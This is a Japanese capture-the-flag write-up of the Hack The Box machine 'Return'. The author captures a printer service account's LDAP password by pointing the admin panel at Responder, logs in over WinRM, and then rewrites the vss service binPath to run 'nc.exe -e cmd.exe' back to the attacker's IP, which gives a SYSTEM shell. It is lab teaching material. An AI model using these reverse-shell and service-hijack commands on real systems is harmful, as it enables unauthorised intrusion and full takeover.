HTB Return

HTBEasy3.X

Hack The BoxのRetrunのWriteup記事となります。
難易度3.0のWindowsマシンを攻略する過程を読んでみてください。

前回の攻略

今回のマシン情報

OS Windows

難易度 Easy 3.0

リリース日 2021/9/27

「Return」というマシンは、ネットワークプリンターの管理パネルを通じてLDAP認証情報を取得し、その情報を用いてWinRMサービス経由でサーバーにアクセスする手法が特徴です。
Return」という名前は、攻撃者が悪意のあるLDAPサーバーを設定し、プリンター管理パネルにそのサーバーを指すように設定させることで、認証情報が攻撃者のサーバーに「戻ってくる(return)」ことに由来していると考えられます。

ポート探索

Nmap ⇒ HTTP、LDAP、WinRM

nmapの結果色々とopenしています。
HTTPの他に特徴的なのはWindows Active Directory(389、636)、認証にKerberos(88)を利用しており、5985はHTTPとなっていますが、WinRMのことだと思います。

$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.108  -oN nmap_result.txt -Pn

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-25 10:20:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

ポート80探索

ブラウザからポート80を開くとプリンターの管理者画面(?)が表示されました。
FaxとTroubleshootingのリンクはありませんがSettingは開けるようです。

Setting画面 ⇒ 認証情報取得?

Setting画面を開くと認証情報が書いてありパスワードは塗りつぶされていますが変更ができるようです。

しかし、変更しても反映されません。
HTTPRequestを見るとどうやら変更できるのはServerAddressのみのようです。

画面のソースを見てもnameがついているのはServerAddress部分のみでした。

考察 ⇒ ldap(ポート389)のアクセスを自分に向ける

ここまででわかっていることを整理したいと思います。

  • nmapの結果よりReturnというマシンはActiveDirectoryのドメインコントローラーの可能性が高い
  • setting.phpではポート389(ldap)の接続情報が書いていることから
    printer.return.localへsvc-printerというユーザで接続している可能性が高い
  • つまりRetrun = printer.return.local = ドメインコントローラーと推測
  • ReturnはAD配下のプリンターであり、管理画面で接続先を管理しており、ドメインコントローラーである自分自身に接続していると推測
  • また、接続先のServerAddressはsetting.phpから変更可能

現状、認証情報はユーザ名らしき「svc-printer」は取得できたもののパスワードは不明。
LDAPにはBindRequestという認証用の通信が定義されているので、ServerAddressをこちらのPCに向けてLDAPの通信内容を監視したいと思います。

ポート389探索

LDAPの接続先をこちらに変更して監視したいと思いますが、LDAPで接続されたときに応答を返えすようにresponderというツールを使いたいと思います。
responderは色々なプロトコルに対応していて、概要や使い方を別の記事にまとめていますので良かったら読んでください。

responder ⇒ 認証情報受信

└─$ sudo responder -I tun0                                                           
[LDAP] Cleartext Client   : 10.10.11.108
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!

ユーザは先程の管理画面で表示されていたsvc-printerでパスワードも取得できました。
今回の通信を例にLDAPの通信内容について別記事にまとめましたのでよかったらご覧ください。

認証情報の確認 ⇒ SMB、WinRM

取得した認証情報でSamba接続を確認。
⇒接続可能、C$へ読み書きが可能
 これでリバースシェルを仕込んで実行できそうです。

$  crackmapexec smb 10.10.11.108 --shares -u svc-printer -p '1edFg43012!!'  

SMB         10.10.11.108    445    PRINTER          [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!! 
SMB         10.10.11.108    445    PRINTER          [+] Enumerated shares
SMB         10.10.11.108    445    PRINTER          Share           Permissions     Remark
SMB         10.10.11.108    445    PRINTER          -----           -----------     ------
SMB         10.10.11.108    445    PRINTER          ADMIN$          READ            Remote Admin
SMB         10.10.11.108    445    PRINTER          C$              READ,WRITE      Default share
SMB         10.10.11.108    445    PRINTER          IPC$            READ            Remote IPC
SMB         10.10.11.108    445    PRINTER          NETLOGON        READ            Logon server share 
SMB         10.10.11.108    445    PRINTER          SYSVOL          READ            Logon server share 

また、WinRMの認証としても利用できました。

$ crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'

SMB         10.10.11.108    5985   PRINTER          [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Exploit

evil-winrm

─$ evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                              
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                         
                                        
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents>

user.txt

*Evil-WinRM* PS C:\Users\svc-printer\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc-printer> cd Desktop
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir


    Directory: C:\Users\svc-printer\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         3/2/2025   6:41 AM             34 user.txt

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt

Privilege Escalation

net user ⇒ Server Operatorsに所属

net userで所属グループを見ると「Server Operators」に所属しています。
Server Operatorsはサービスの開始、終了、実行EXEの差し替えができます。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name                    svc-printer
Full Name                    SVCPrinter
Comment                      Service Account for Printer
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/26/2021 12:15:13 AM
Password expires             Never
Password changeable          5/27/2021 12:15:13 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   3/2/2025 6:50:50 AM

Logon hours allowed          All

Local Group Memberships      *Print Operators      *Remote Management Use
                             *Server Operators
Global Group memberships     *Domain Users
The command completed successfully.

spoolerのアクセス権限確認 ⇒ 権限なし

spoolerを開始・停止する権限があるのか?
「”Authenticated Users”(認証されたユーザー)」「”Built-in Administrators”(組み込み管理者グループ)」「”System”(システム)」が開始・停止(CC)をできるようです。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe sdshow spooler

D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)

試しに停止しようとするとアクセス拒否となります。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe stop spooler
[SC] OpenService FAILED 5:

Access is denied.

vssのアクセス権限確認 ⇒ 権限あり

vssを開始・停止する権限があるのか?
「Server Operators グループ」に権限が付与されています。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe sdshow vss

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)

C (Create): オブジェクトを作成する権限
C (Control): 完全制御権限(オブジェクトに対してすべての操作を行うことができる)
D (Delete): オブジェクトを削除する権限
L (List): オブジェクトをリスト表示する権限
C (Change): 変更権限(オブジェクトの内容を変更する権限)
S (Service Status): サービスの状態を取得する権限(これは、サービスが動作しているか、停止しているかを確認するための権限)
W (Write): 書き込み権限。オブジェクトにデータを書き込む権限。
R (Read): 読み取り権限。オブジェクトのデータを読み取る権限。
PW (Permission Write): 権限を書き換える権限。オブジェクトのセキュリティ設定を変更するための権限。
PD (Permission Delete): 権限の削除権限。オブジェクトに関連するセキュリティ設定(アクセス制御リストやアクセス権など)を削除するための権限です。
T (Take Ownership): オブジェクトの所有権を取得する権限。これにより、他のユーザーが所有しているオブジェクトの所有権を自分に変更できます。
LO: ログオン権限
S(Start): サービスの開始
D(Delete): サービスの削除
CR: リモートでの接続権限
RC: リモートでサービスの状態を確認する権限

試しにvssを起動してみます。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe start vss

SERVICE_NAME: vss
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 2612
        FLAGS              :

リバースシェル用のツールをアップロードしてvssの起動時に実行するようにする

リバースシェル用にnc.exeをアップロードします。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> upload /home/kali/tool/netcat-1.11/nc.exe
                                        
Info: Uploading /home/kali/tool/netcat-1.11/nc.exe to C:\Users\svc-printer\Desktop\nc.exe
                                        
Data: 48704 bytes of 48704 bytes copied

nc.exeは下記で手に入ります。

netcat 1.11 for Win32/Win64
ancient netcat wor Windows

次にvssの起動時にnc.exeを起動してリバースシェルが動作するようにします。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe config vss binPath="c:\users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.16.2 4444" 
[SC] ChangeServiceConfig SUCCESS

vssを再起動

まず、自分のマシンでポート4444を待ち受けます。

$ nc -lnvp 4444
listening on [any] 4444 ...

そしてReturn上でvssを再起動します。

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe stop vss

SERVICE_NAME: vss
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe start vss
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

先程待ち受けていたポートにアクセスが来ました。

connect to [10.10.16.2] from (UNKNOWN) [10.10.11.108] 62407
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

root.txt

C:\Windows\system32>cd c:\Users\Administrator
cd c:\Users\Administrator

c:\Users\Administrator>cd Desktop
cd Desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3A0C-428E

 Directory of c:\Users\Administrator\Desktop

09/27/2021  03:22 AM    <DIR>          .
09/27/2021  03:22 AM    <DIR>          ..
03/02/2025  06:41 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   8,808,312,832 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt

Windowsの特権昇格を初めてやったマシンでした。

次回のマシン情報

他の難易度3のマシンの攻略記事もまとめてますので良かったらご覧ください。

タイトルとURLをコピーしました